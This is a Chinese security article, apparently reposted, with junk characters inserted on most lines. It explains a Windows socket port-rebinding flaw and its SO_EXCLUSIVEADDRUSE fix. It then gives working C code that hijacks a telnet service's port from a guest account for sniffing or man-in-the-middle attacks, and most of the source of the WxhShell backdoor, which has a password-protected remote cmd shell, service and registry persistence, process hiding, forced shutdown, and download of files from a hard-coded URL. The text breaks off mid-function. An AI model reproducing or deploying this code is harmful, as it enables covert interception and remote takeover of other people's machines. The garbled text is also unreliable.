在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
!v`C-1}70 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
TP-<Lhy '<v_YxEn saddr.sin_family = AF_INET;
!/|^
)d^U `kERM-@A saddr.sin_addr.s_addr = htonl(INADDR_ANY);
xw5LPz;B M!nwcxB! bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
Z.v2!u Ag#o&Y 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
MV.$Ay }?vVJm' 这意味着什么?意味着可以进行如下的攻击:
0*-nVC1 RxZ#`$F 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
))z1T 8 48 | u{ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
e_{!8u.+ 7HkQ|~zGT 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
Tl2e?El;4 ;?`l1:C5) 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
?5yj</W gY=Ry=w9 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
JMa[Ulz rDvz2p"R 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
; Da[jFP hExw} c 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
{#Vck\& 2*<'=*zaQ #include
5/{";k)L+ #include
3jG
#<4;J #include
LtDQgel" #include
pHpHvSI DWORD WINAPI ClientThread(LPVOID lpParam);
!o k6*m int main()
])YGeY(V0+ {
YEB@ p. WORD wVersionRequested;
vKCgtk DWORD ret;
!R/-|Kjy WSADATA wsaData;
^twJNm{99 BOOL val;
iNxuQ7~ SOCKADDR_IN saddr;
6QC=:_M; SOCKADDR_IN scaddr;
aTx*6;-PH int err;
3>I SOCKET s;
/j0zb& SOCKET sc;
zJJ6"9sl int caddsize;
w`?Rd HANDLE mt;
i$Sq.NU DWORD tid;
J/o$\8tiMw wVersionRequested = MAKEWORD( 2, 2 );
w_ sA8B err = WSAStartup( wVersionRequested, &wsaData );
yXdJ5Me(T if ( err != 0 ) {
G L> u3K printf("error!WSAStartup failed!\n");
0D*uZ,oBEw return -1;
e yLVu. }
*xl930y saddr.sin_family = AF_INET;
3n=`SLj/a s?2DLXv}! //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
m@_m"1_; lv*fK saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
V>2mzc saddr.sin_port = htons(23);
0B;cQSH!q if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
s, 8a1o {
G\U'_G> printf("error!socket failed!\n");
b35Z1sfD
j return -1;
SB3=5"q }
?<#2raH- val = TRUE;
Y^(Sc4 W //SO_REUSEADDR选项就是可以实现端口重绑定的
*Ugtg9j if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
22<T.c {
u?>]C6$ printf("error!setsockopt failed!\n");
vFL\O return -1;
<R?_Yjsw }
(Wm4JmX% //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
kK]^q|vb6 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
{D( _" //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
_E{hB P=j89-e if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
qPc"A!-i {
]-D;t~ ret=GetLastError();
1;4]
HNI printf("error!bind failed!\n");
F9|\(St & return -1;
+[DL]e]@U }
bS9<LQ* listen(s,2);
0K&\5xXM while(1)
Viu+#J;l {
v.ftfL! caddsize = sizeof(scaddr);
,;2x.We //接受连接请求
J"x M[c2 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
x-e?94}^ if(sc!=INVALID_SOCKET)
RQ1`k,R= {
Z!qH L$ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
i'Oh^Y)E# if(mt==NULL)
:.+?v*%;n {
E!eBQ[@ printf("Thread Creat Failed!\n");
'kD~tpZ break;
#jja#PF]7 }
O-M4NKl]6 }
\(C_t1 CloseHandle(mt);
]/p)XHKo }
p$5+^x'( closesocket(s);
c
4<~?L WSACleanup();
K`9ph"(Z return 0;
oM@X)6P_ }
Use`E DWORD WINAPI ClientThread(LPVOID lpParam)
!*?Ss {
"o*zZ;>^ SOCKET ss = (SOCKET)lpParam;
3KF[ v{ SOCKET sc;
k]n=7vw; unsigned char buf[4096];
+;}XWV SOCKADDR_IN saddr;
f8Xe%"< long num;
s57-<&@J9 DWORD val;
@CSTp6{y DWORD ret;
#NAlje( 7 //如果是隐藏端口应用的话,可以在此处加一些判断
95,{40;X7 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
*Q<%(JJ saddr.sin_family = AF_INET;
|$r|DX1[ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
;btH[a iV saddr.sin_port = htons(23);
zk[%YG& if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
v;9VX
{
V8z91 printf("error!socket failed!\n");
S=^a''bg return -1;
S)@95pb }
M.Fu>Xi val = 100;
?Afx{H7 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
0@9.h{s@ {
uM8YY[b ret = GetLastError();
*S).@j\{W return -1;
BVx: JiA }
%C]K`=vI- if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
w%no6 ; {
oJF@O:A ret = GetLastError();
{e4ILdXM return -1;
MSmvQ }
n')#]g0[ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
`hD\u@5Tw {
2VOdI printf("error!socket connect failed!\n");
(9N75uCa closesocket(sc);
wn'_;0fg closesocket(ss);
}ug|&25D return -1;
{YCquoF }
hi>sDU<x while(1)
<}c`jN!z. {
<y(uu(c //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
Fejs9'cB //如果是嗅探内容的话,可以再此处进行内容分析和记录
X*2MNx^K~ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
silTL_$ num = recv(ss,buf,4096,0);
xGQ958@ if(num>0)
MorR&K send(sc,buf,num,0);
D?u*^?a2 else if(num==0)
.)W'{2J-
break;
)fz)Rrr num = recv(sc,buf,4096,0);
SC~cryb if(num>0)
Ks.pb !r send(ss,buf,num,0);
@`N)`u85[ else if(num==0)
T4`.rnzyRb break;
$ 1 N_qu }
Hnwir!=7 closesocket(ss);
%y~=+Sm%m closesocket(sc);
Kq|L:Z return 0 ;
GM6Y`iU }
a*d>WN.;U &v+8RY^F= DRLX0Ml]\ ==========================================================
$=f,z>j 5$Yt@8; 下边附上一个代码,,WXhSHELL
Aw)='&;^z R$@|t? ==========================================================
8X`Gm!) c <[?Z7y #include "stdafx.h"
@Z.s:FV[ |IqQ%;H #include <stdio.h>
K9FtFd #include <string.h>
Vcg$H8m #include <windows.h>
gqaENU> #include <winsock2.h>
P`HE3?r #include <winsvc.h>
-Cxk#-sb# #include <urlmon.h>
n&=3Knbd@d lvi~GZ #pragma comment (lib, "Ws2_32.lib")
;T! mNKl #pragma comment (lib, "urlmon.lib")
%+iJpRK)7 d%Zt]1$ #define MAX_USER 100 // 最大客户端连接数
7d?'~}j #define BUF_SOCK 200 // sock buffer
#/ 1 #define KEY_BUFF 255 // 输入 buffer
5taYm' pHlw&8(f" #define REBOOT 0 // 重启
Nhv~f0 #define SHUTDOWN 1 // 关机
Akf?BB3bC zE +)oQ, #define DEF_PORT 5000 // 监听端口
(!Q^.C_m ~A+DH #define REG_LEN 16 // 注册表键长度
Ti
}Ljp^O #define SVC_LEN 80 // NT服务名长度
bWK}oYB* Z
4uft // 从dll定义API
}"j7Qy)cs typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
BlQu9{=n typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
|q5R5mQ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
~/J:p5?L typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
Mg]q^T.a S(jbPQT // wxhshell配置信息
}E+}\& struct WSCFG {
w{3
B int ws_port; // 监听端口
MoN;t; char ws_passstr[REG_LEN]; // 口令
8Letpygm int ws_autoins; // 安装标记, 1=yes 0=no
]sJWiIe. char ws_regname[REG_LEN]; // 注册表键名
;2
oR?COW char ws_svcname[REG_LEN]; // 服务名
NaC^q*>9 char ws_svcdisp[SVC_LEN]; // 服务显示名
hf
rF7{yj char ws_svcdesc[SVC_LEN]; // 服务描述信息
"gXz{$q char ws_passmsg[SVC_LEN]; // 密码输入提示信息
/i|T \ int ws_downexe; // 下载执行标记, 1=yes 0=no
R_ojK&% char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
b>AFhj : char ws_filenam[SVC_LEN]; // 下载后保存的文件名
&Ib8xwb: 7vR JQe) };
bNR}Mk]? +rbj%v}Fh // default Wxhshell configuration
K'~wlO@O struct WSCFG wscfg={DEF_PORT,
4flyV - "xuhuanlingzhe",
]Kb 1,
uYAPGs#k "Wxhshell",
O:3pp8 "Wxhshell",
Z[
}0K3,5 "WxhShell Service",
S+A'\{f "Wrsky Windows CmdShell Service",
QD%~A0
"Please Input Your Password: ",
Pp1HOJYJp0 1,
`<2y
[<y "
http://www.wrsky.com/wxhshell.exe",
Tm@d;O'E1 "Wxhshell.exe"
IB:Wh;_x };
pb_+_(/c TOV531
// 消息定义模块
{~ ZSqd char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
FLJdnL char *msg_ws_prompt="\n\r? for help\n\r#>";
k6-Q3W[+a char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
vRYQ4B4o char *msg_ws_ext="\n\rExit.";
-J4?Km char *msg_ws_end="\n\rQuit.";
^EE3E' char *msg_ws_boot="\n\rReboot...";
Y[9x\6
_E char *msg_ws_poff="\n\rShutdown...";
7Xm7{`jH char *msg_ws_down="\n\rSave to ";
.asHFT7]9 \"c;MK{ char *msg_ws_err="\n\rErr!";
$:w4_X5T char *msg_ws_ok="\n\rOK!";
S/& _ 0f/=C9L char ExeFile[MAX_PATH];
O.CRF-`t int nUser = 0;
e&?o HANDLE handles[MAX_USER];
@*'|8% int OsIsNt;
%>}6>nT# Qfr%BQV SERVICE_STATUS serviceStatus;
oX@nWQBc_ SERVICE_STATUS_HANDLE hServiceStatusHandle;
$+)2CXQe5 gbM#jhQ // 函数声明
72@raA#y int Install(void);
3 <RkUmR int Uninstall(void);
\Rop~gD int DownloadFile(char *sURL, SOCKET wsh);
aPaGnP:^ int Boot(int flag);
;AK;% void HideProc(void);
nJ |O,*`O int GetOsVer(void);
1$ez}k, int Wxhshell(SOCKET wsl);
X*VHi void TalkWithClient(void *cs);
R:kNAtK int CmdShell(SOCKET sock);
Y15KaoK? int StartFromService(void);
fw,ruROqD int StartWxhshell(LPSTR lpCmdLine);
M@fUZh
Dp!3uR']p VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
'`$a l7D VOID WINAPI NTServiceHandler( DWORD fdwControl );
n}PK0 {C Qo}@.7 // 数据结构和表定义
He="S3XON SERVICE_TABLE_ENTRY DispatchTable[] =
'$*d:1 {
V*xT5TljS- {wscfg.ws_svcname, NTServiceMain},
|rkj$s, {NULL, NULL}
iJuh1+6:c9 };
K-F@OSK' TDXLxoC? // 自我安装
"&%:
9O int Install(void)
5*~Mv<# {
$8h^R# char svExeFile[MAX_PATH];
|^Nz/PN HKEY key;
p"f=[awp strcpy(svExeFile,ExeFile);
4thLK8/c5g q3Re
F_ // 如果是win9x系统,修改注册表设为自启动
p*)RP2 if(!OsIsNt) {
!/, 6+2Ru if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
+c#:;&Gs RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
ik02Q,J RegCloseKey(key);
[RG&1~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
a(&!{Y1bt RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
HByk 1 RegCloseKey(key);
YP{)jAK return 0;
@54, I }
X~t] qT }
Hi #'h }
VQF!|*#
else {
jca7Cx`sm yHkZInn // 如果是NT以上系统,安装为系统服务
Yi1*o? SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
PI~LbDE if (schSCManager!=0)
pvM;2 {
4mSL*1j SC_HANDLE schService = CreateService
vUl5%r2O4 (
J8I_tF6 schSCManager,
|4//%Ll/ wscfg.ws_svcname,
g9(zJ wscfg.ws_svcdisp,
4Z>hP]7
SERVICE_ALL_ACCESS,
q/-8sO}q SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
|j53'>N[ SERVICE_AUTO_START,
-Qx:-,.a SERVICE_ERROR_NORMAL,
50%
|9D0?Y svExeFile,
!U.Xb6 NULL,
6T{Zee NULL,
Z#YkAQHv5 NULL,
! )$
PD@ NULL,
V0+D{|thh6 NULL
|$@/
Z+ );
'0x`Oh&PK if (schService!=0)
&P{ {
z!27#gbL CloseServiceHandle(schService);
Gs%IZo_ CloseServiceHandle(schSCManager);
1><\3+8 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
j(/Bf m strcat(svExeFile,wscfg.ws_svcname);
G%~=hEK0 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
.kh%66: RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
B$qmXA)ze RegCloseKey(key);
)iadu return 0;
.E:[\H" }
J,;[n*s }
^Cb7R/R3 CloseServiceHandle(schSCManager);
%0T/>:1[E }
$,"{g<*k; }
3`_jNPV1 *A}QBZ return 1;
2Cn^<(F^4I }
q+2yp&zF NfcY30}: // 自我卸载
%
INRds int Uninstall(void)
b<v \ {
Z0T{1YEJ HKEY key;
b3}928!D-@ j eF1{ % if(!OsIsNt) {
?Z%Ja_}8ma if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
mMmzi4HL RegDeleteValue(key,wscfg.ws_regname);
iJ_`ZM.w RegCloseKey(key);
cAJKFuX" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
L;30&a RegDeleteValue(key,wscfg.ws_regname);
|qbCmsY5/ RegCloseKey(key);
i$[wgvJIV
return 0;
W Da;wt }
I7b(fc-r }
ZxkX\gl91 }
)}L*8 LV else {
YAnt}]u!" M iIH&z SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
;:1d<Q| if (schSCManager!=0)
avxI\twAU {
"Q9S<O8) SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
NhQIpzL) if (schService!=0)
b $x<7l5C {
@
fm\
H if(DeleteService(schService)!=0) {
fVv#| CloseServiceHandle(schService);
}CZ,WJz= CloseServiceHandle(schSCManager);
UN_f2 return 0;
<b"ynoM.A }
P;0tI; CloseServiceHandle(schService);
c.jq?Q k }
8}h ^Frh CloseServiceHandle(schSCManager);
?^P#P0 }
YfUdpa0 }
m! &bK5+* 6"Q/Y[y return 1;
,
RfU1R }
&3v{~Xg) L^rtypkJ // 从指定url下载文件
u.iFlU int DownloadFile(char *sURL, SOCKET wsh)
+kTAOfM {
,pir,Eozg HRESULT hr;
.E!7}O6 char seps[]= "/";
)a,-Hc:Vz char *token;
P$_Y:XI ! char *file;
!3Fj`Oh char myURL[MAX_PATH];
W+PAlsOC char myFILE[MAX_PATH];
*/xI#G,O+
5P{dey! strcpy(myURL,sURL);
xjOy3_Js token=strtok(myURL,seps);
XP5q4BM while(token!=NULL)
=:`1!W0I {
T_ Q/KhLU file=token;
3 2Q/4 token=strtok(NULL,seps);
USu/Y29 }
,R0@`t1 p E>TD` GetCurrentDirectory(MAX_PATH,myFILE);
m
s\:^a strcat(myFILE, "\\");
Q_/{TE/sO5 strcat(myFILE, file);
*2crhI*@> send(wsh,myFILE,strlen(myFILE),0);
_dppUUm send(wsh,"...",3,0);
D
h ]+HF hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
$1oU^VY if(hr==S_OK)
]+)z}lr8 C return 0;
N%6jZmKip else
%*OKhrM return 1;
E*IkI))X0 Vi`+2%4 }
!;lA+O-t >4 GhI65 // 系统电源模块
7>xxur& int Boot(int flag)
N'Va&"&73> {
_6THyj$f HANDLE hToken;
K2nq2Gbn TOKEN_PRIVILEGES tkp;
1iaNb[:QX {@g3AG% if(OsIsNt) {
I%%\;Dy OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
VY<v?Of
i- LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
: QSlctW tkp.PrivilegeCount = 1;
CZE5RzG tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
rS/Q AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
}aXc,;Ps if(flag==REBOOT) {
hd9fD[5 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
_Pa(5-S'KR return 0;
D9e"E1f+" }
e%x$Cb:znn else {
0sVCTJ@ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
zm2&\8J return 0;
#QZg{ }
Eag->mw/~ }
KJ,{w?p~
) else {
<;#d*&] if(flag==REBOOT) {
s`Z(f:/6* if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
Yg/e 8Q2 return 0;
S4s\ tA< }
/fA:Fnv else {
8gJ"7,}-' if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
/MsXw/], return 0;
~^"
cNv }
;E:ra_l }
?v#t{e0eQ MR%M[SK1 return 1;
Rb<aCX }
3s\2 9gq hnL"f[p@gC // win9x进程隐藏模块
s!Y>\3rMW void HideProc(void)
e{O mW {
82Nh;5Tr /#9O{) HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
HoymGU`w if ( hKernel != NULL )
M]jzbJ3Q {
$ePAsJ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
~6!=_" ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
?)Z~H,Q(z FreeLibrary(hKernel);
R_uA!MoLs }
{~16j" {i~qm4+o return;
v;el= D }
[:a;|t =w".B[r // 获取操作系统版本
2{"Wa|o` int GetOsVer(void)
h(d<':| {
)Be}Ev#)Zx OSVERSIONINFO winfo;
IyOujdKa winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
?Z(
6..& GetVersionEx(&winfo);
dSsMa3X[n if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
zi2hi9A return 1;
#$K\:V+ 4 else
P`[6IS#\S return 0;
#1z}~1- }
$]\N/}1v ]5x N^7_!j // 客户端句柄模块
KmEm int Wxhshell(SOCKET wsl)
o?$D09j;; {
A[XEbfDO SOCKET wsh;
?.|qRzWL struct sockaddr_in client;
W=mh*G3y DWORD myID;
W3{k{~ |?V6__9 while(nUser<MAX_USER)
T$GhE {
r4Pm
i int nSize=sizeof(client);
3?Bq(( wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
vwZ2kk!|i if(wsh==INVALID_SOCKET) return 1;
p8[Z/]p U;;vNzcn handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
n0O- Bxhl if(handles[nUser]==0)
0Vh|UJ'&7 closesocket(wsh);
+?*,J=/ else
h:"<x$F nUser++;
kxWf1hIz0 }
%l,p />r WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
O9=vz% 8NPt[* return 0;
Z?G-~3]e }
ocAoqjlT[ d
'4c?vC // 关闭 socket
a[xEN7L~4D void CloseIt(SOCKET wsh)
n:`> QY {
CO0Nq/@ closesocket(wsh);
:v
Pzw! nUser--;
F_zs"ex/ ExitThread(0);
`t{aN|3V[ }
xV~`sqf ,8c` // 客户端请求句柄
0#G&8*FMN void TalkWithClient(void *cs)
m-5Dbx!j {
zYYc#N/ E>KV1P SOCKET wsh=(SOCKET)cs;
IBQmm(+v char pwd[SVC_LEN];
Ts|&_| char cmd[KEY_BUFF];
B:&/*HU char chr[1];
H;G*tje/M int i,j;
]|Vm*zO t{Q9Kv while (nUser < MAX_USER) {
#";(&|7 FX+Ra@I! if(wscfg.ws_passstr) {
HMS9_#[kE if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
'd|_ i6:y& //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
jv5p_v4%O //ZeroMemory(pwd,KEY_BUFF);
u(\b1h n i=0;
#8%Lc3n while(i<SVC_LEN) {
'?v.O} 'S)}mG_ // 设置超时
r_-iOxt~5 fd_set FdRead;
B+*F?k[ struct timeval TimeOut;
8D;>] > FD_ZERO(&FdRead);
]EE}ax%#aq FD_SET(wsh,&FdRead);
:?U1^!$$1 TimeOut.tv_sec=8;
1
BAnf9
TimeOut.tv_usec=0;
y2TJDb1 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
PC7U&*x@ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
*'QD!Tc @Ej{sC!0T if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
z./u;/: pwd
=chr[0]; #Ji&.T^U/
if(chr[0]==0xd || chr[0]==0xa) { ]GJIrtS4
pwd=0; km}%7|R?
break; J5mMx)t@
} Nf}G
"!
i++; ]gQgNn?
} yg5 Ik{
Xi6XV3G
// 如果是非法用户,关闭 socket )<UNiC
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); c9= ;:E
} p3\F1]( Z
e#0R9+"Ba
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /$%apci8
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]}w~fjq
{Tm31f(oD
while(1) { ](aXZ<,
=Mc*~[D/
ZeroMemory(cmd,KEY_BUFF); MJt?^G (w?
^^{K[sLB
// 自动支持客户端 telnet标准 k129)79
j=0; vO&%sjvH
while(j<KEY_BUFF) { aHXd1\6m
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tOn/r@Fd^E
cmd[j]=chr[0]; 4B d[r7
if(chr[0]==0xa || chr[0]==0xd) { *FQrmdwb]L
cmd[j]=0; D+ 9xI
break; Zyu4!
} Eii)zo8Xd
j++; `$AX!,<!G
} H CZ#7Z
@v2_gjRe
// 下载文件 y['$^T?oP
if(strstr(cmd,"http://")) { {uM*.]
send(wsh,msg_ws_down,strlen(msg_ws_down),0);
^I5k+cL
if(DownloadFile(cmd,wsh)) ol^OvG:TQ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); q$yTG!q*
else
qdx(wGG
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w+fsw@dK&
} u v%T0JA/
else { 7s4G|N[wR\
?rKewdGY
switch(cmd[0]) { ,j:`yB]4,
,_!pUal
// 帮助 ;*BG{rkr
case '?': { T[`o$j6
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Q;*TnVbJ
break; S4n\<+dR<
} r,cV(
// 安装 z{wJQZ9"
case 'i': { Nz'fM daX,
if(Install()) pi*cO
send(wsh,msg_ws_err,strlen(msg_ws_err),0); pV9$Vg?-H
else `+CRUdr
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t3}>5cAxy
break; ",k"c}3G
} yTm/P!1S
// 卸载 2`9e20
case 'r': { 7v]>ID
if(Uninstall()) ,,sKPj[
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6U Q~Fv`]
else 4QARrG%
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e4fh<0gX
break; 1Mn=m w
} DI{VJ&n66
// 显示 wxhshell 所在路径 E z?O
gE{
case 'p': { Iq]+O Q
char svExeFile[MAX_PATH]; -y|>#`T/
strcpy(svExeFile,"\n\r"); )"/.2S;
strcat(svExeFile,ExeFile); 93Kd7x-3
send(wsh,svExeFile,strlen(svExeFile),0); ><V<}&:y$(
break; $M5iU@A
} M+j V`J!
// 重启 V^;2u
case 'b': { { 0RwjPYp
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); CBN,~wzP*
if(Boot(REBOOT)) ,bzE`6
send(wsh,msg_ws_err,strlen(msg_ws_err),0); <j,ZAA&5%Y
else { _C2iP[YwQ{
closesocket(wsh); 2w_[c.
ExitThread(0); !'8.qs
} R}_B\# Q
break; 97l<9^$
} Gf_Je
// 关机 ?41bZ$j
case 'd': { #Z#rOh
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); C jISU$O
if(Boot(SHUTDOWN)) MKPxF@N(
send(wsh,msg_ws_err,strlen(msg_ws_err),0); |L[/]@|
else { {k*rD!tT
closesocket(wsh); ^ >JAl<k
ExitThread(0); 8JYU1Ew
} (yA`h@@WS
break; v7gs
$'Q
} o 9\J
vJk
// 获取shell ?*cr|G$r[
case 's': { v+Mi"ZAd
CmdShell(wsh); 6l]jmj)/
closesocket(wsh); + -~8t^
ExitThread(0); 1[p6v4qO{
break; *lyy |3z
} (SGX|,5X7
// 退出 7IkNS
case 'x': { !xcLJ5^W
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Oxsx\f_
CloseIt(wsh); _}+Aw{7!r
break; 0"}qND
} IJ\4S
// 离开 ^x2zMB\t
case 'q': { !-rG1VI_S*
send(wsh,msg_ws_end,strlen(msg_ws_end),0); o|`[X'
closesocket(wsh); g?B4b7II
WSACleanup(); qJ(XW N H
exit(1); yUnNf 2i
break; n=Ze p{^
} JOwm|%>3a
} D[/h7Ha
} X'FDQoH
,/2&HZd
// 提示信息 4N6JKS
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v}\4/u
} _4,/uG|a O
} CCDU5l$$
#mKF)W
return; sbv2*fno5
} OFe-e(c1
@*e5(@R
// shell模块句柄 ~(*2:9*0
int CmdShell(SOCKET sock) \MqOHM.[
{ Jlp nR#@
STARTUPINFO si; Sf*1Z~P|
ZeroMemory(&si,sizeof(si)); V#X#rDfJZ
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; . n[;H;
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \!LIqqX
PROCESS_INFORMATION ProcessInfo; /U26IbJ
char cmdline[]="cmd"; )iX2r{
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); U}T{r%9
return 0; moS0y?N
} w.VjGPp
"hid3"G
// 自身启动模式 AjVX
int StartFromService(void) e dTFk$0
{ a\-AGG{2/X
typedef struct :A7\eN5
{ dJv2tVm&'
DWORD ExitStatus; ?}RPnf
DWORD PebBaseAddress; %lq[,6?>5
